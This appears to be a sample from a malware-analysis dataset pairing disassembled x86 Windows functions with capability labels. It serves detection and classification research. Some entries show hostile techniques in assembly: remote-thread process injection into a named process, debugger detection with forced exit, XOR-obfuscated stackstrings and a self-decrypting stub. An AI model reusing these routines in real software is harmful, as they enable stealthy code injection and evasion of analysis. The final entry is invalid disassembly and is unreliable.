joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000245d
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c0
mov eax, dword [0x1002f004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002f950], 0
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x6c0], eax
jne 0x10002498
test esi, esi
jne 0x10002498
push eax
push dword [ebp + 8]
call fcn.10002767
jmp 0x10002617
mov byte [ebp - 0x6a9], 0
push edi
mov edi, dword [ebp + 8]
test esi, esi
jne 0x100024da
push 0x104
lea eax, [ebp - 0x43c]
push eax
push dword [0x1002f94c]
push edi
call fcn.10003db3
test al, al
jne 0x100024cd
mov eax, 0x643
jmp 0x10002616
lea esi, [ebp - 0x43c]
mov byte [ebp - 0x6a9], 1
push ebx
push esi
mov ebx, 0x118
lea eax, [ebp - 0x234]
push ebx
push eax
call fcn.100014ae
push str.CustomAction.config
push ebx
lea eax, [ebp - 0x234]
push eax
call fcn.10001430
lea ebx, [ebp - 0x234]
mov eax, ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
neg eax
push esi
sbb eax, eax
and eax, ebx
mov ebx, 0x136
mov dword [ebp - 0x6b8], eax
lea eax, [ebp - 0x6a8]
push ebx
push eax
call fcn.100014ae
push str.Microsoft.Deployment.WindowsInstaller.dll
push ebx
lea eax, [ebp - 0x6a8]
push eax
call fcn.10001430
lea eax, [ebp - 0x6b0]
mov ebx, 0x643
push eax
lea eax, [ebp - 0x6a8]
mov dword [ebp - 0x6bc], ebx
push eax
push dword [ebp - 0x6b8]
push 0
push edi
call fcn.1000127d
test al, al
je 0x100025fe
lea eax, [ebp - 0x6b4]
push eax
push dword [ebp - 0x6b8]
push esi
push str.CustomAction
push dword [ebp - 0x6b0]
push edi
call section..text
test al, al
je 0x100025e6
lea eax, [ebp - 0x6bc]
push eax
push dword [ebp - 0x6c0]
push dword [ebp - 0x6b4]
push edi
call fcn.10002626
test al, al
je 0x100025b5
mov ebx, dword [ebp - 0x6bc]
mov eax, dword [ebp - 0x6b0]
push dword [ebp - 0x6b4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
test eax, eax
jns 0x100025da
push eax
push str.Failed_to_unload_app_domain._Error_code_0x_X
push edi
call fcn.1000400a
add esp, 0xc
mov eax, dword [ebp - 0x6b4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x6b0]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x6b0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp byte [ebp - 0x6a9], 0
je 0x10002613
lea eax, [ebp - 0x43c]
push eax
call fcn.10003c1d
mov eax, ebx
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10004903
leave
ret 0xc
Function at 0x40ff62
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040aba4
and dword [ebp - 4], 0
cmp dword [0x41bbac], 0
mov ebx, eax
jne 0x410013
push 0x414b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4100c4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x414b84
push edi
call esi
test eax, eax
je 0x4100c4
push eax
call fcn.0040ab32
mov dword [esp], 0x414b74
push edi
mov dword [0x41bbac], eax
call esi
push eax
call fcn.0040ab32
mov dword [esp], 0x414b60
push edi
mov dword [0x41bbb0], eax
call esi
push eax
call fcn.0040ab32
mov dword [esp], 0x414b44
push edi
mov dword [0x41bbb4], eax
call esi
push eax
call fcn.0040ab32
pop ecx
mov dword [0x41bbbc], eax
test eax, eax
je 0x410013
push 0x414b2c
push edi
call esi
push eax
call fcn.0040ab32
pop ecx
mov dword [0x41bbb8], eax
mov eax, dword [0x41bbb8]
cmp eax, ebx
je 0x41006b
cmp dword [0x41bbbc], ebx
je 0x41006b
push eax
call fcn.0040abad
push dword [0x41bbbc]
mov esi, eax
call fcn.0040abad
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41006b
test edi, edi
je 0x41006b
call esi
test eax, eax
je 0x410062
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x410062
test byte [ebp - 0xc], 1
jne 0x41006b
or dword [ebp + 0x10], 0x200000
jmp 0x4100a4
mov eax, dword [0x41bbb0]
cmp eax, ebx
je 0x4100a4
push eax
call fcn.0040abad
pop ecx
test eax, eax
je 0x4100a4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4100a4
mov eax, dword [0x41bbb4]
cmp eax, ebx
je 0x4100a4
push eax
call fcn.0040abad
pop ecx
test eax, eax
je 0x4100a4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41bbac]
call fcn.0040abad
pop ecx
test eax, eax
je 0x4100c4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4100c6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x43b651
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x43b3c1
mov ecx, 0xe0cbcc78
add ecx, 0xff3040c7
call fcn.0043b68b
mov ebx, 0x641b02ff
add ebx, ebx
xor dword [esi], edx
mov ecx, 0xbfd35f3f
inc esi
add ebx, ebx
or ebx, ebx
add ecx, 0x240dcefe
cmp esi, edi
jne fcn.0043b651
and ebx, ecx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401140
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4012f8
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0x22c
push eax
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4011c8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop
push 0x406254
lea eax, [ebp - 0x21c]
push eax
call edi
test eax, eax
je 0x4011b6
lea eax, [ebp - 0x240]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401190
jmp 0x4011c8
push dword [ebp - 0x238]
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x4012f8
mov esi, dword [0x4080d4]
push 0x40
push 0x3000
mov dword [ebp - 0x248], esi
push dword [esi + 0x4080e8]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x4080ec]
mov dword [ebp - 0x244], eax
push 0x408098
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 0x40809e]
jae 0x40125a
lea esi, [esi + 0x4081a4]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x408098
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x248]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 0x40809e]
cmp edi, eax
jl 0x401227
push 0x20
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [ebp - 0x244]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlZeroMemory
push 0x406278
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
push 0
push 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401130
lea esi, [edi + 0x10]
sub eax, section..text
push eax
push section..text
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404431
mov esp, ebp
pop ebp
ret
Function at 0x401de0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18c
push esi
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movaps xmm0, xmmword [0x406470]
xor eax, eax
movups xmmword [esp + 8], xmm0
mov byte [esp + 0x188], 0
movaps xmm0, xmmword [0x406450]
movups xmmword [esp + 0x18], xmm0
movaps xmm0, xmmword [0x4064e0]
movups xmmword [esp + 0x28], xmm0
movaps xmm0, xmmword [0x4064b0]
movups xmmword [esp + 0x38], xmm0
movaps xmm0, xmmword [0x406430]
movups xmmword [esp + 0x48], xmm0
movaps xmm0, xmmword [0x4063f0]
movups xmmword [esp + 0x58], xmm0
movaps xmm0, xmmword [0x406480]
movups xmmword [esp + 0x68], xmm0
movaps xmm0, xmmword [0x406550]
movups xmmword [esp + 0x78], xmm0
movaps xmm0, xmmword [0x406510]
movups xmmword [esp + 0x88], xmm0
movaps xmm0, xmmword [0x406520]
movups xmmword [esp + 0x98], xmm0
movaps xmm0, xmmword [0x406540]
movups xmmword [esp + 0xa8], xmm0
movaps xmm0, xmmword [str._4______G_G__DDO]
movups xmmword [esp + 0xb8], xmm0
movaps xmm0, xmmword [0x406460]
movups xmmword [esp + 0xc8], xmm0
movaps xmm0, xmmword [0x4064d0]
movups xmmword [esp + 0xd8], xmm0
movaps xmm0, xmmword [0x406500]
movups xmmword [esp + 0xe8], xmm0
movaps xmm0, xmmword [0x4064a0]
movups xmmword [esp + 0xf8], xmm0
movaps xmm0, xmmword [0x406490]
movups xmmword [esp + 0x108], xmm0
movaps xmm0, xmmword [0x406530]
movups xmmword [esp + 0x118], xmm0
movaps xmm0, xmmword [0x406560]
movups xmmword [esp + 0x128], xmm0
movaps xmm0, xmmword [0x4064f0]
movups xmmword [esp + 0x138], xmm0
movaps xmm0, xmmword [0x406440]
movups xmmword [esp + 0x148], xmm0
movaps xmm0, xmmword [0x406410]
movups xmmword [esp + 0x158], xmm0
movaps xmm0, xmmword [0x406400]
movups xmmword [esp + 0x168], xmm0
movaps xmm0, xmmword [0x406390]
movups xmmword [esp + 0x178], xmm0
nop
mov dl, byte [esp + 8]
xor byte [esp + eax + 9], dl
inc eax
cmp eax, 0x17f
jb 0x401f60
lea edx, [esp + 9]
mov byte [esp + 0x188], 0
mov ecx, esi
call fcn.004033c0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401f90
Capabilities:
Check for debugger via api
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, 0x2cc
mov ecx, eax
nop word [eax + eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x401fc0
push eax
mov dword [eax], 0x10010
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x402009
cmp dword [ebp - 8], 0
je 0x402009
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40201b
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov byte [ebp - 0x18], 0x27
mov al, 0x49
xor al, byte [ebp - 0x18]
mov bl, 0x4b
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x43
mov bh, ah
mov byte [ebp - 9], ah
mov dh, dl
mov byte [ebp - 0xe], 0
xor dl, al
mov dword [ebp - 8], 0
xor bl, al
mov byte [ebp - 0x15], dl
xor ah, al
mov byte [ebp - 0x14], bl
xor dh, al
mov byte [ebp - 0x13], ah
xor bh, al
mov byte [ebp - 0x11], dh
mov cl, 0x53
mov byte [ebp - 0x10], bh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 9
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x17]
push eax
mov byte [ebp - 0x12], ch
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
test edx, edx
je 0x4020f6
movaps xmm0, xmmword [0x4063e0]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x1628292f
mov dword [ebp - 0x20], 0x23252934
mov word [ebp - 0x1c], 0x3535
mov byte [ebp - 0x1a], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x19
jb 0x4020b0
lea eax, [ebp - 0x33]
mov byte [ebp - 0x1a], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4020f6
push 0
push 4
lea eax, [ebp - 8]
push eax
push 7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
jne 0x4020f6
cmp dword [ebp - 8], eax
je 0x4020f6
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x403f40
push dword fs:[0]
mov dword fs:[0], esp
push 0xbaad
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp]
mov dword fs:[0], eax
add esp, 8
call fcn.00404230
call fcn.00403f60
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404431
mov esp, ebp
pop ebp
ret
Function at 0x403f60
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x406f38
push 0x4044ae
mov eax, dword fs:[0]
push eax
sub esp, 0x120
mov eax, dword [0x408040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
or edi, 0xffffffff
mov dword [ebp - 0x124], edi
xor esi, esi
mov dword [ebp - 0x128], esi
xor ebx, ebx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 4], ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
call fcn.004040a0
mov dword [ebp - 0x130], eax
push 0x104
lea eax, [ebp - 0x120]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40403c
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x124], edi
cmp edi, 0xffffffff
je 0x40403c
push ebx
push ebx
push ebx
push 2
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
mov dword [ebp - 0x128], esi
test esi, esi
je 0x40403c
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 0x14]
add ecx, dword [eax + 0x10]
push ecx
push ebx
push ebx
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 4], 0xfffffffe
call fcn.00404076
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00404431
mov esp, ebp
pop ebp
ret
Function at 0x404230
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x408040]
xor eax, esp
mov dword [esp + 0x30], eax
movaps xmm0, xmmword [0x406320]
push ebx
mov ebx, dword fs:[0x30]
push esi
push edi
xor edi, edi
xor ecx, ecx
mov dword [esp + 0x38], edi
movups xmmword [esp + 0x28], xmm0
mov al, byte [esp + 0x28]
xor byte [esp + ecx + 0x29], al
inc ecx
cmp ecx, 0xe
jb 0x404262
mov byte [esp + 0x37], 0
mov cl, 0x54
mov dword [esp + 0x18], 0x26311f54
xor eax, eax
mov dword [esp + 0x1c], 0x6738313a
mov dword [esp + 0x20], 0x38307a66
mov word [esp + 0x24], 0x38
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xc
jae 0x4042a8
mov cl, byte [esp + 0x18]
jmp 0x404298
lea eax, [esp + 0x19]
mov byte [esp + 0x25], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [esp + 0x29]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x4042eb
cmp dword [esp + 0x38], edi
je 0x4042eb
mov edi, dword fs:[0x30]
add edi, 0x1000
mov eax, dword [ebx + 0x18]
test dword [eax + 0x40], 0xfffffffd
jne 0x4043a0
cmp dword [eax + 0x44], 0
jne 0x4043a0
test edi, edi
je 0x40441f
mov eax, dword [edi + 0x30]
test dword [eax + 0x70], 0xfffffffd
jne 0x404323
cmp dword [eax + 0x74], 0
je 0x40441f
movaps xmm0, xmmword [0x406350]
mov dh, 0x21
mov cl, 0x4e
mov byte [esp + 0x17], 0
mov ch, 0x53
mov byte [esp + 0x10], dh
mov al, 0x6d
mov byte [esp + 0x17], 0
mov dl, 0x40
mov bl, 0x45
mov ah, 0x44
xor cl, dh
xor ch, dh
mov byte [esp + 0x12], cl
xor al, dh
mov byte [esp + 0x16], ch
xor dl, dh
mov byte [esp + 0x11], al
xor bl, dh
mov byte [esp + 0x13], dl
xor ah, dh
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], ah
xor ecx, ecx
movups xmmword [esp + 0x28], xmm0
mov al, byte [esp + 0x28]
xor byte [esp + ecx + 0x29], al
inc ecx
cmp ecx, 0xe
jb 0x404371
push 0
lea eax, [esp + 0x15]
mov byte [esp + 0x3b], 0
push eax
lea eax, [esp + 0x31]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
movaps xmm0, xmmword [str._vQJU]
mov dh, 0x4f
mov cl, 0x20
mov byte [esp + 0x17], 0
mov ch, 0x3d
mov byte [esp + 0x10], dh
mov al, 3
mov byte [esp + 0x17], 0
mov dl, 0x2e
mov bl, 0x2b
mov ah, 0x2a
xor cl, dh
xor ch, dh
mov byte [esp + 0x12], cl
xor al, dh
mov byte [esp + 0x16], ch
xor dl, dh
mov byte [esp + 0x11], al
xor bl, dh
mov byte [esp + 0x13], dl
xor ah, dh
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], ah
xor ecx, ecx
movups xmmword [esp + 0x28], xmm0
nop
mov al, byte [esp + 0x28]
xor byte [esp + ecx + 0x29], al
inc ecx
cmp ecx, 0xe
jb 0x4043f0
push 0
lea eax, [esp + 0x15]
mov byte [esp + 0x3b], 0
push eax
lea eax, [esp + 0x31]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00404431
mov esp, ebp
pop ebp
ret
Function at 0x404ebc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404efb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404efb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404efb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404efb
cmp dword [ecx + 0x74], 0xe
jbe 0x404efb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420004]
jne 0x40100a
repz ret
jmp fcn.004013a0

Function at 0x4047ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403b3a
and dword [ebp - 0x14], 0
cmp dword [0x422a38], 0
mov dword [ebp - 0x18], eax
jne 0x40485e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404906
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404906
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x422a38], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x422a3c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x422a40], eax
call edi
push eax
call esi
mov dword [0x422a48], eax
test eax, eax
je 0x40485e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x422a44], eax
mov eax, dword [0x422a44]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4048b7
cmp dword [0x422a48], ecx
je 0x4048b7
push eax
call esi
push dword [0x422a48]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4048b7
test ebx, ebx
je 0x4048b7
call edi
test eax, eax
je 0x4048ae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4048ae
test byte [ebp - 8], 1
jne 0x4048b7
or dword [ebp + 0x10], 0x200000
jmp 0x4048ea
mov eax, dword [0x422a3c]
cmp eax, dword [ebp - 0x18]
je 0x4048ea
push eax
call esi
test eax, eax
je 0x4048ea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4048ea
mov eax, dword [0x422a40]
cmp eax, dword [ebp - 0x18]
je 0x4048ea
push eax
call esi
test eax, eax
je 0x4048ea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x422a38]
call esi
test eax, eax
je 0x404906
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404908
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret

Function at 0x408ac0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x420ed0]
push esi
mov esi, dword [0x5216c4]
push edi
mov edi, dword [0x521d24]
push eax
call fcn.00408a00
add esp, 4
cmp dword [0x521d24], 0x2f
jne 0x408b13
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
lea ecx, [ebp - 0x804]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push esi
call fcn.00408a50
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x10007040
Capabilities:
Encode data using xor

Disassembly:
or dword [ebx], edx
arpl di, si
enter 0xffffffffffffe899, 0x7c
jmp 0x10007063
rol dword [edi + 0x71], cl
imul byte [ebx]
or eax, 0xaf8304b
pop edx
add al, 0x7e
invalid